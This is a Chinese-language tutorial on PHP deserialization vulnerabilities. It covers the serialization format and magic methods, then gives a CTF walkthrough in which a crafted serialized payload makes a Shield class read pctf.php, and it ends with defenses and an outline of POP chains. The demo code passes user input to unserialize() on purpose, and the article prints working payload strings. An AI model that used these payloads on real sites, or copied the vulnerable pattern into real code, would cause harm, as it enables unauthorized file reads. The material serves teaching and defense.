最通俗易懂的PHP反序列化原理分析
字数 1157 2025-08-18 11:37:12

PHP反序列化漏洞原理与实战分析

一、序列化与反序列化基础

1. 什么是序列化与反序列化

序列化是将对象转换为可存储或传输的字符串的过程,反序列化则是将字符串重新转换为对象的过程。

PHP中主要使用两个函数:

  • serialize() - 将对象序列化为字符串
  • unserialize() - 将字符串反序列化为对象

2. 序列化的基本格式

PHP序列化字符串的格式如下:

O:<类名长度>:"<类名>":<属性数量>:{<属性类型><属性名长度>:"<属性名>";<属性值类型><属性值长度>:"<属性值>";...}

示例:

class DemoClass {
    public $data = 'Hello World';
}
$example = new DemoClass();
echo serialize($example);
// 输出: O:9:"DemoClass":1:{s:4:"data";s:11:"Hello World";}

二、PHP反序列化漏洞原理

1. 漏洞产生的原因

反序列化漏洞产生的主要原因是当用户可控的数据被直接传递给unserialize()函数时,攻击者可以构造恶意的序列化字符串,从而控制对象属性并在特定条件下执行任意代码。

2. 关键魔术方法

PHP中的魔术方法会在特定条件下自动触发,与反序列化漏洞相关的主要有:

  • __construct() - 对象创建时调用
  • __destruct() - 对象销毁时调用
  • __toString() - 对象被当作字符串使用时调用
  • __sleep() - 对象在被序列化之前调用
  • __wakeup() - 对象在反序列化之后立即调用

3. 漏洞利用示例

class A {
    var $test = "demo";
    function __destruct() {
        echo $this->test;
    }
}

$a = $_GET['test'];
$a_unser = unserialize($a);

攻击者可构造payload:

O:1:"A":1:{s:4:"test";s:5:"hello";}

通过URL传递:

http://127.0.0.1/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}

这将导致__destruct()方法输出攻击者控制的字符串"hello"。

三、实战案例分析

1. CTF题目分析

题目代码:

<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
    $x = unserialize($g);
}
echo $x->readfile();
?>

shield.php内容:

//flag is in pctf.php
class Shield {
    public $file;
    function __construct($filename = '') {
        $this->file = $filename;
    }
    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE 
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}

2. 漏洞利用步骤

  1. 分析目标:读取pctf.php文件内容
  2. 发现可以通过控制Shield类的$file属性来读取任意文件
  3. 构造恶意序列化字符串:
    O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
    
  4. 通过GET参数class传递payload

3. 防御措施

  1. 不要反序列化不可信的数据
  2. 使用白名单验证反序列化的类
  3. 在魔术方法中避免使用用户可控的数据
  4. 使用json_encode()json_decode()替代序列化功能

四、深入理解

1. 反序列化攻击链

攻击者通常利用以下链条:

  1. 控制对象属性
  2. 触发魔术方法(如__wakeup__destruct
  3. 通过魔术方法中的代码执行危险操作
  4. 可能进一步利用其他类的方法形成攻击链

2. POP链构造

Property-Oriented Programming(POP)链是通过精心构造对象属性,利用程序现有代码实现攻击的技术。构建POP链需要:

  1. 分析应用程序中的类及其方法
  2. 寻找可以从一个方法跳转到另一个方法的路径
  3. 通过控制属性值连接这些方法调用

五、总结

PHP反序列化漏洞是一种危险的漏洞类型,虽然利用条件较为苛刻,但一旦成功利用通常会导致严重后果。理解序列化/反序列化机制、魔术方法的触发条件以及如何构造恶意序列化字符串是防御此类漏洞的关键。开发人员应始终对反序列化操作保持警惕,并实施适当的安全措施。

PHP反序列化漏洞原理与实战分析 一、序列化与反序列化基础 1. 什么是序列化与反序列化 序列化是将对象转换为可存储或传输的字符串的过程,反序列化则是将字符串重新转换为对象的过程。 PHP中主要使用两个函数: serialize() - 将对象序列化为字符串 unserialize() - 将字符串反序列化为对象 2. 序列化的基本格式 PHP序列化字符串的格式如下: 示例: 二、PHP反序列化漏洞原理 1. 漏洞产生的原因 反序列化漏洞产生的主要原因是当用户可控的数据被直接传递给 unserialize() 函数时,攻击者可以构造恶意的序列化字符串,从而控制对象属性并在特定条件下执行任意代码。 2. 关键魔术方法 PHP中的魔术方法会在特定条件下自动触发,与反序列化漏洞相关的主要有: __construct() - 对象创建时调用 __destruct() - 对象销毁时调用 __toString() - 对象被当作字符串使用时调用 __sleep() - 对象在被序列化之前调用 __wakeup() - 对象在反序列化之后立即调用 3. 漏洞利用示例 攻击者可构造payload: 通过URL传递: 这将导致 __destruct() 方法输出攻击者控制的字符串"hello"。 三、实战案例分析 1. CTF题目分析 题目代码: shield.php内容: 2. 漏洞利用步骤 分析目标:读取pctf.php文件内容 发现可以通过控制Shield类的$file属性来读取任意文件 构造恶意序列化字符串: 通过GET参数class传递payload 3. 防御措施 不要反序列化不可信的数据 使用白名单验证反序列化的类 在魔术方法中避免使用用户可控的数据 使用 json_encode() 和 json_decode() 替代序列化功能 四、深入理解 1. 反序列化攻击链 攻击者通常利用以下链条: 控制对象属性 触发魔术方法(如 __wakeup 或 __destruct ) 通过魔术方法中的代码执行危险操作 可能进一步利用其他类的方法形成攻击链 2. POP链构造 Property-Oriented Programming(POP)链是通过精心构造对象属性,利用程序现有代码实现攻击的技术。构建POP链需要: 分析应用程序中的类及其方法 寻找可以从一个方法跳转到另一个方法的路径 通过控制属性值连接这些方法调用 五、总结 PHP反序列化漏洞是一种危险的漏洞类型,虽然利用条件较为苛刻,但一旦成功利用通常会导致严重后果。理解序列化/反序列化机制、魔术方法的触发条件以及如何构造恶意序列化字符串是防御此类漏洞的关键。开发人员应始终对反序列化操作保持警惕,并实施适当的安全措施。